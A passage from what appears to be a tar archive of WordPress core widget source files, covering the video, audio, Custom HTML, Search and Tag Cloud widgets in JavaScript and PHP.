			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );
			error = control.model.get( 'error' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			// Verify the selected attachment mime is supported.
			mime = control.selectedAttachment.get( 'mime' );
			if ( mime && attachmentId ) {
				if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
					error = 'unsupported_file_type';
				}
			} else if ( ! attachmentId ) {
				urlParser = document.createElement( 'a' );
				urlParser.href = attachmentUrl;
				matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
				if ( matches ) {
					if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
						error = 'unsupported_file_type';
					}
				} else {
					isOEmbed = true;
				}
			}

			if ( isOEmbed ) {
				control.fetchEmbed();
				if ( control.oembedResponses[ attachmentUrl ] ) {
					poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
					html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
				}
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-video-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: attachmentId,
					html: html,
					src: attachmentUrl,
					poster: poster
				},
				is_oembed: isOEmbed,
				error: error
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new VideoDetailsMediaFrame({
				frame: 'video',
				state: 'video-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					_.omit( control.model.defaults(), 'title' ),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_video = VideoWidgetControl;
	component.modelConstructors.media_video = VideoWidgetModel;

})( wp.mediaWidgets );
                                                                                                                                                    media-audio-widget.js                                                                               0000644                 00000010274 15265660322 0010554 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/media-audio-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame;

	/**
	 * Custom audio details frame that removes the replace-audio state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.AudioDetails
	 */
	AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.AudioDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'audio',
					id: 'add-audio-source',
					title: wp.media.view.l10n.audioAddSourceTitle,
					toolbar: 'add-audio-source',
					media: this.media,
					menu: false
				})
			]);
		}
	});

	/**
	 * Audio widget model.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	AudioWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Audio widget control.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-audio-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: control.model.get( 'attachment_id' ),
					src: attachmentUrl
				},
				error: control.model.get( 'error' )
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media audio-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new AudioDetailsMediaFrame({
				frame: 'audio',
				state: 'audio-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					control.model.defaults(),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'audio-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_audio = AudioWidgetControl;
	component.modelConstructors.media_audio = AudioWidgetModel;

})( wp.mediaWidgets );
                                                                                                                                                                                                                                                                                                                                    custom-html-widgets.min.js                                                                          0000644                 00000012716 15265660322 0011622 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1<e.length&&(n=s.l10n.errorNotice.plural.replace("%d",String(e.length))),i.fields.content[0].setCustomValidity&&i.fields.content[0].setCustomValidity(n),wp.customize&&wp.customize.has(i.customizeSettingId)?((t=wp.customize(i.customizeSettingId)).notifications.remove("htmlhint_error"),0!==e.length&&t.notifications.add("htmlhint_error",new wp.customize.Notification("htmlhint_error",{message:n,type:"error"}))):0!==e.length?((t=a('<div class="inline notice notice-error notice-alt" role="alert"></div>')).append(a("<p></p>",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0<e.length),t.updateErrorNotice(e)}}),t.editor=wp.codeEditor.initialize(t.fields.content,e),a(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":t.fields.content[0].id+"-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),a("#"+t.fields.content[0].id+"-label").on("click",function(){t.editor.codemirror.focus()}),t.fields.content.on("change",function(){this.value!==t.editor.codemirror.getValue()&&t.editor.codemirror.setValue(this.value)}),t.editor.codemirror.on("change",function(){var e=t.editor.codemirror.getValue();e!==t.fields.content.val()&&t.fields.content.val(e).trigger("change")}),t.editor.codemirror.on("blur",function(){t.contentUpdateBypassed&&t.syncContainer.find(".sync-input.content").trigger("change")}),wp.customize&&t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}))}}),s.widgetControls={},s.handleWidgetAdded=function(e,t){var i,n,o,d=t.find("> .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("<div></div>"),(o=t.find(".widget-content:first")).before(d),i=new s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("<div></div>"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery);                                                  class-wp-widget-custom-html.php                                                                     0000644                 00000027540 15265674674 0012577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Custom_HTML class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.1
 */

/**
 * Core class used to implement a Custom HTML widget.
 *
 * @since 4.8.1
 *
 * @see WP_Widget
 */
class WP_Widget_Custom_HTML extends WP_Widget {

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Default instance.
	 *
	 * @since 4.8.1
	 * @var array
	 */
	protected $default_instance = array(
		'title'   => '',
		'content' => '',
	);

	/**
	 * Sets up a new Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_custom_html',
			'description'                 => __( 'Arbitrary HTML code.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops );
	}

	/**
	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
	 *
	 * @since 4.9.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		 */
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		 */
		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) );

		// Note this action is used to ensure the help text is added to the end.
		add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) );
	}

	/**
	 * Filters gallery shortcode attributes.
	 *
	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
	 * non-singular template where a $post context is not available.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attrs Attributes.
	 * @return array Attributes.
	 */
	public function _filter_gallery_shortcode_attrs( $attrs ) {
		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
			$attrs['id'] = -1;
		}
		return $attrs;
	}

	/**
	 * Outputs the content for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Custom HTML widget instance.
	 */
	public function widget( $args, $instance ) {
		global $post;

		// Override global $post so filters (and shortcodes) apply in a consistent context.
		$original_post = $post;
		if ( is_singular() ) {
			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
			$post = get_queried_object();
		} else {
			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
			$post = null;
		}

		// Prevent dumping out all attachments from the media library.
		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		$instance = array_merge( $this->default_instance, $instance );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		// Prepare instance data that looks like a normal Text widget.
		$simulated_text_widget_instance = array_merge(
			$instance,
			array(
				'text'   => $instance['content'] ?? '',
				'filter' => false, // Because wpautop is not applied.
				'visual' => false, // Because it wasn't created in TinyMCE.
			)
		);
		unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop.

		/** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */
		$content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this );

		/**
		 * Filters the content of the Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param string                $content  The widget content.
		 * @param array                 $instance Array of settings for the current widget.
		 * @param WP_Widget_Custom_HTML $widget   Current Custom HTML widget instance.
		 */
		$content = apply_filters( 'widget_custom_html_content', $content, $instance, $this );

		// Restore post global.
		$post = $original_post;
		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		// Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility.
		$args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] );

		echo $args['before_widget'];
		if ( ! empty( $title ) ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility.
		echo $content;
		echo '</div>';
		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = array_merge( $this->default_instance, $old_instance );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}
		return $instance;
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.9.0
	 */
	public function enqueue_admin_scripts() {
		$settings = wp_enqueue_code_editor(
			array(
				'type'       => 'text/html',
				'codemirror' => array(
					'indentUnit' => 2,
					'tabSize'    => 2,
				),
			)
		);

		wp_enqueue_script( 'custom-html-widgets' );
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) );

		if ( empty( $settings ) ) {
			$settings = array(
				'disabled' => true,
			);
		}
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' );

		$l10n = array(
			'errorNotice' => array(
				/* translators: %d: Error count. */
				'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
				/* translators: %d: Error count. */
				'plural'   => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ),
				// @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
			),
		);
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' );
	}

	/**
	 * Outputs the Custom HTML widget settings form.
	 *
	 * @since 4.8.1
	 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`.
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 *
	 * @param array $instance Current instance.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		<?php
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public static function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-custom-html-control-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>

			<p>
				<label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label>
				<textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea>
			</p>

			<?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?>
				<?php
				$probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' );
				$allowed_html         = wp_kses_allowed_html( 'post' );
				$disallowed_html      = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) );
				?>
				<?php if ( ! empty( $disallowed_html ) ) : ?>
					<# if ( data.codeEditorDisabled ) { #>
						<p>
							<?php _e( 'Some HTML tags are not permitted, including:' ); ?>
							<code><?php echo implode( '</code>, <code>', $disallowed_html ); ?></code>
						</p>
					<# } #>
				<?php endif; ?>
			<?php endif; ?>

			<div class="code-editor-error-container"></div>
		</script>
		<?php
	}

	/**
	 * Add help text to widgets admin screen.
	 *
	 * @since 4.9.0
	 */
	public static function add_help_text() {
		$screen = get_current_screen();

		$content  = '<p>';
		$content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' );
		$content .= '</p>';

		if ( 'false' !== wp_get_current_user()->syntax_highlighting ) {
			$content .= '<p>';
			$content .= sprintf(
				/* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */
				__( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ),
				esc_url( get_edit_profile_url() ),
				'class="external-link" target="_blank"',
				sprintf(
					'<span class="screen-reader-text"> %s</span>',
					/* translators: Hidden accessibility text. */
					__( '(opens in a new tab)' )
				)
			);
			$content .= '</p>';

			$content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>';
			$content .= '<ul>';
			$content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>';
			$content .= '</ul>';
		}

		$screen->add_help_tab(
			array(
				'id'      => 'custom_html_widget',
				'title'   => __( 'Custom HTML Widget' ),
				'content' => $content,
			)
		);
	}
}
                                                                                                                                                                class-wp-widget-search.php                                                                          0000644                 00000005244 15265674674 0011565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Search class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Search widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Search extends WP_Widget {

	/**
	 * Sets up a new Search widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_search',
			'description'                 => __( 'A search form for your site.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Search widget instance.
	 */
	public function widget( $args, $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		// Use active theme search form if it exists.
		get_search_form();

		echo $args['after_widget'];
	}

	/**
	 * Outputs the settings form for the Search widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$title    = $instance['title'];
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
	}

	/**
	 * Handles updating settings for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$new_instance      = wp_parse_args( (array) $new_instance, array( 'title' => '' ) );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		return $instance;
	}
}
                                                                                                                                                                                                                                                                                                                                                            class-wp-widget-tag-cloud.php                                                                       0000644                 00000015172 15265674674 0012200 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Tag_Cloud class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Tag cloud widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Tag_Cloud extends WP_Widget {

	/**
	 * Sets up a new Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'A cloud of your most used tags.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Tag Cloud widget instance.
	 */
	public function widget( $args, $instance ) {
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		if ( ! empty( $instance['title'] ) ) {
			$title = $instance['title'];
		} else {
			if ( 'post_tag' === $current_taxonomy ) {
				$title = __( 'Tags' );
			} else {
				$tax   = get_taxonomy( $current_taxonomy );
				$title = $tax->labels->name;
			}
		}

		$default_title = $title;

		$show_count = ! empty( $instance['count'] );

		$tag_cloud = wp_tag_cloud(
			/**
			 * Filters the taxonomy used in the Tag Cloud widget.
			 *
			 * @since 2.8.0
			 * @since 3.0.0 Added taxonomy drop-down.
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_tag_cloud()
			 *
			 * @param array $args     Args used for the tag cloud widget.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_tag_cloud_args',
				array(
					'taxonomy'   => $current_taxonomy,
					'echo'       => false,
					'show_count' => $show_count,
				),
				$instance
			)
		);

		if ( empty( $tag_cloud ) ) {
			return;
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}

		echo '<div class="tagcloud">';

		echo $tag_cloud;

		echo "</div>\n";

		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = array();
		$instance['title']    = sanitize_text_field( $new_instance['title'] );
		$instance['count']    = ! empty( $new_instance['count'] ) ? 1 : 0;
		$instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] );
		return $instance;
	}

	/**
	 * Outputs the Tag Cloud widget settings form.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
		$count = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
		$taxonomies       = get_taxonomies( array( 'show_tagcloud' => true ), 'object' );
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		switch ( count( $taxonomies ) ) {

			// No tag cloud supporting taxonomies found, display error message.
			case 0:
				?>
				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="" />
				<p>
					<?php _e( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ); ?>
				</p>
				<?php
				break;

			// Just a single tag cloud supporting taxonomy found, no need to display a select.
			case 1:
				$keys     = array_keys( $taxonomies );
				$taxonomy = reset( $keys );
				?>
